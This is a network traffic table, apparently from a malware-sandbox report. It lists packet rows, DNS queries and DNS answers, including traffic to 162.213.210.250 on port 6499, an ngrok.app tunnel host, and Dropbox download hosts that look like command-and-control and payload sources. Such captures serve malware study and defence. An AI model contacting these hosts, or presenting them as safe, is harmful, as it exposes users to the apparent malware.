Dec 16, 2024 16:15:14.397335052 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.397398949 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.397418022 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.397511959 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.397538900 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.397829056 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.398396969 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.398477077 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.398492098 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.398534060 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.398618937 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.398698092 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.399732113 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.399749041 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.399764061 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.399847031 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.399856091 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.399964094 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.400518894 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.400536060 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.400552988 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.400571108 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.400685072 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.400685072 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.401153088 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.401194096 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.401211023 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.401247025 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.401350021 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.401726961 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.402076006 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.402630091 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:15.275707960 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:15.305820942 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:15.396203995 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:15.426600933 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:19.204360962 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:15:19.204391003 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:15:24.061969995 CET	56299	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:15:24.182372093 CET	53	56299	1.1.1.1	192.168.2.4
Dec 16, 2024 16:15:24.182455063 CET	56299	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:15:24.182529926 CET	56299	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:15:24.302386999 CET	53	56299	1.1.1.1	192.168.2.4
Dec 16, 2024 16:15:25.277070999 CET	53	56299	1.1.1.1	192.168.2.4
Dec 16, 2024 16:15:25.425251961 CET	56299	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:15:25.545591116 CET	53	56299	1.1.1.1	192.168.2.4
Dec 16, 2024 16:15:25.545667887 CET	56299	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:15:28.430008888 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:28.430027962 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:33.796852112 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:15:33.796927929 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:15:33.797014952 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:15:40.038378000 CET	49790	443	192.168.2.4	104.40.82.182
Dec 16, 2024 16:15:40.038414955 CET	443	49790	104.40.82.182	192.168.2.4
Dec 16, 2024 16:15:58.602086067 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:15:58.602098942 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:15:58.695807934 CET	54694	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:15:58.817018032 CET	53	54694	1.1.1.1	192.168.2.4
Dec 16, 2024 16:15:58.817118883 CET	54694	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:15:58.817883968 CET	54694	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:15:58.937741995 CET	53	54694	1.1.1.1	192.168.2.4
Dec 16, 2024 16:15:59.905592918 CET	53	54694	1.1.1.1	192.168.2.4
Dec 16, 2024 16:15:59.906151056 CET	54694	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:16:00.026473045 CET	53	54694	1.1.1.1	192.168.2.4
Dec 16, 2024 16:16:00.026549101 CET	54694	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:16:06.306915045 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:16:06.307040930 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:16:06.307128906 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:16:06.309627056 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:16:06.309664965 CET	443	49766	162.159.61.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 16:14:07.342314005 CET	59645	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:07.914185047 CET	53	59645	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:12.158947945 CET	57654	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:12.297426939 CET	53	57654	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:15.117443085 CET	50386	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:15.418025970 CET	53	50386	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:20.412604094 CET	138	138	192.168.2.4	192.168.2.255
Dec 16, 2024 16:14:22.347968102 CET	51650	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:22.348304987 CET	58665	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:22.485302925 CET	53	58665	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:22.499258995 CET	50458	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:22.560929060 CET	53	51650	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:22.790771008 CET	53	50458	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:25.703963995 CET	49902	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:25.704178095 CET	56403	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:25.753696918 CET	60764	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:25.756994009 CET	52261	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:25.757375956 CET	49244	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:26.046386003 CET	53	49244	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.052382946 CET	53	60764	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.053596020 CET	53	52261	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.243174076 CET	50311	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:26.243433952 CET	52362	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:26.381665945 CET	53	50311	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.407856941 CET	61355	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:26.408128023 CET	49206	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:26.408512115 CET	61385	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:26.408770084 CET	58175	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:26.482065916 CET	53	52362	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.545034885 CET	53	61355	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.545394897 CET	53	49206	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.545417070 CET	53	61385	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.546041965 CET	53	58175	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.838062048 CET	52561	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:26.838351011 CET	61688	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:26.975433111 CET	53	61688	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:26.975902081 CET	53	52561	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:27.427500010 CET	53249	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:27.731138945 CET	53	53249	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:29.822120905 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:30.127183914 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:30.578387976 CET	64013	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:30.672164917 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:30.727449894 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:30.866918087 CET	53	64013	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:30.907243967 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:30.907290936 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:30.907500982 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:30.907511950 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:30.910089970 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:30.925050020 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:30.930449963 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:30.975123882 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.041786909 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.162609100 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.167037964 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.239412069 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.239424944 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.239433050 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.239440918 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.240900040 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.241014004 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.244491100 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.479053020 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.481137037 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.481712103 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.482745886 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.507009983 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.555438042 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:31.578788996 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.627461910 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:31.758198977 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.758223057 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.758236885 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.758320093 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:31.767237902 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.768115997 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.768282890 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:31.892774105 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.082441092 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.082463980 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.082597017 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.082973003 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.265940905 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.266148090 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.269046068 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.269227982 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.579683065 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.584234953 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.586977005 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.592376947 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.607696056 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:32.649640083 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.682295084 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.682391882 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:32.997694969 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:33.017832994 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:33.018110037 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:33.020706892 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:33.023246050 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:33.023461103 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:33.333497047 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:33.334417105 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:33.334645987 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:33.334877968 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:36.440990925 CET	63572	53	192.168.2.4	1.1.1.1
Dec 16, 2024 16:14:36.721784115 CET	53	63572	1.1.1.1	192.168.2.4
Dec 16, 2024 16:14:48.200232029 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:48.200474024 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:48.516515970 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:48.520409107 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:48.522243977 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:48.525588036 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:54.180780888 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:54.181576014 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:54.182235003 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:54.184340000 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:54.502290010 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:54.502547026 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:54.503444910 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:54.503627062 CET	443	49693	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:54.503987074 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:54.504328012 CET	443	61130	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:54.505215883 CET	49693	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:54.505578041 CET	61130	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:24.061300039 CET	53	52527	1.1.1.1	192.168.2.4
Dec 16, 2024 16:15:25.967283964 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:25.967473984 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:25.967823982 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:25.967926979 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:26.976983070 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:26.976983070 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:26.977502108 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:26.977534056 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.052643061 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.053287983 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.087904930 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.117027998 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.117311001 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.291336060 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.291347027 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.291356087 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.291363955 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.291372061 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.291380882 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.291954994 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.292031050 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.292031050 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.304821968 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.368510008 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.398796082 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.433028936 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.433845043 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.434266090 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.441236019 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.443339109 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:27.609184980 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.609350920 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.622149944 CET	443	62630	162.159.61.3	192.168.2.4
Dec 16, 2024 16:15:27.639658928 CET	62630	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:15:27.748183012 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:28.352200031 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:28.538434982 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.582496881 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.582513094 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.582524061 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.582535028 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.583121061 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:28.585455894 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:28.585830927 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:28.586962938 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:28.692387104 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.692841053 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:28.900677919 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.900707960 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.900882006 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.900892973 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.900908947 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.901051044 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:28.901209116 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:28.925669909 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:28.926879883 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:29.010781050 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:48.960971117 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:48.999979019 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:50.224387884 CET	443	53861	23.33.40.135	192.168.2.4
Dec 16, 2024 16:15:50.258999109 CET	53861	443	192.168.2.4	23.33.40.135
Dec 16, 2024 16:15:58.695353031 CET	53	61500	1.1.1.1	192.168.2.4
Dec 16, 2024 16:15:58.984246969 CET	443	53861	23.33.40.135	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 16:14:07.342314005 CET	192.168.2.4	1.1.1.1	0x6c2	Standard query (0)	sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:12.158947945 CET	192.168.2.4	1.1.1.1	0x38ed	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:15.117443085 CET	192.168.2.4	1.1.1.1	0x99de	Standard query (0)	uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:22.347968102 CET	192.168.2.4	1.1.1.1	0x1629	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:22.348304987 CET	192.168.2.4	1.1.1.1	0xd3d2	Standard query (0)	www.dropbox.com	65	IN (0x0001)	false
Dec 16, 2024 16:14:22.499258995 CET	192.168.2.4	1.1.1.1	0xbcb0	Standard query (0)	ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:25.703963995 CET	192.168.2.4	1.1.1.1	0x1510	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:25.704178095 CET	192.168.2.4	1.1.1.1	0x6e52	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 16, 2024 16:14:25.753696918 CET	192.168.2.4	1.1.1.1	0xc40a	Standard query (0)	uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:25.756994009 CET	192.168.2.4	1.1.1.1	0xfe8d	Standard query (0)	uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:25.757375956 CET	192.168.2.4	1.1.1.1	0x70d	Standard query (0)	uc598219f166c264ee6bbec26fb0.dl.dropboxusercontent.com	65	IN (0x0001)	false
Dec 16, 2024 16:14:26.243174076 CET	192.168.2.4	1.1.1.1	0x9c05	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.243433952 CET	192.168.2.4	1.1.1.1	0xb775	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 16, 2024 16:14:26.407856941 CET	192.168.2.4	1.1.1.1	0xe1b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.408128023 CET	192.168.2.4	1.1.1.1	0xa21	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 16:14:26.408512115 CET	192.168.2.4	1.1.1.1	0x5a88	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.408770084 CET	192.168.2.4	1.1.1.1	0x5497	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 16:14:26.838062048 CET	192.168.2.4	1.1.1.1	0xc120	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:26.838351011 CET	192.168.2.4	1.1.1.1	0x835e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 16, 2024 16:14:27.427500010 CET	192.168.2.4	1.1.1.1	0x69f5	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:30.578387976 CET	192.168.2.4	1.1.1.1	0xdbef	Standard query (0)	ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:36.440990925 CET	192.168.2.4	1.1.1.1	0xac83	Standard query (0)	uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 16:14:07.914185047 CET	1.1.1.1	192.168.2.4	0x6c2	No error (0)	sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app		3.6.122.107	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:07.914185047 CET	1.1.1.1	192.168.2.4	0x6c2	No error (0)	sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app		3.6.115.64	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:07.914185047 CET	1.1.1.1	192.168.2.4	0x6c2	No error (0)	sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app		3.6.115.182	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:07.914185047 CET	1.1.1.1	192.168.2.4	0x6c2	No error (0)	sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app		3.6.30.85	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:07.914185047 CET	1.1.1.1	192.168.2.4	0x6c2	No error (0)	sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app		3.6.98.232	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:12.297426939 CET	1.1.1.1	192.168.2.4	0x38ed	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:12.297426939 CET	1.1.1.1	192.168.2.4	0x38ed	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:15.418025970 CET	1.1.1.1	192.168.2.4	0x99de	No error (0)	uccba36d8d23bc3bc4a8c4d73776.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:15.418025970 CET	1.1.1.1	192.168.2.4	0x99de	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:22.485302925 CET	1.1.1.1	192.168.2.4	0xd3d2	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:22.560929060 CET	1.1.1.1	192.168.2.4	0x1629	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 16:14:22.560929060 CET	1.1.1.1	192.168.2.4	0x1629	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 16, 2024 16:14:22.790771008 CET	1.1.1.1	192.168.2.4	0xbcb0	No error (0)	ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
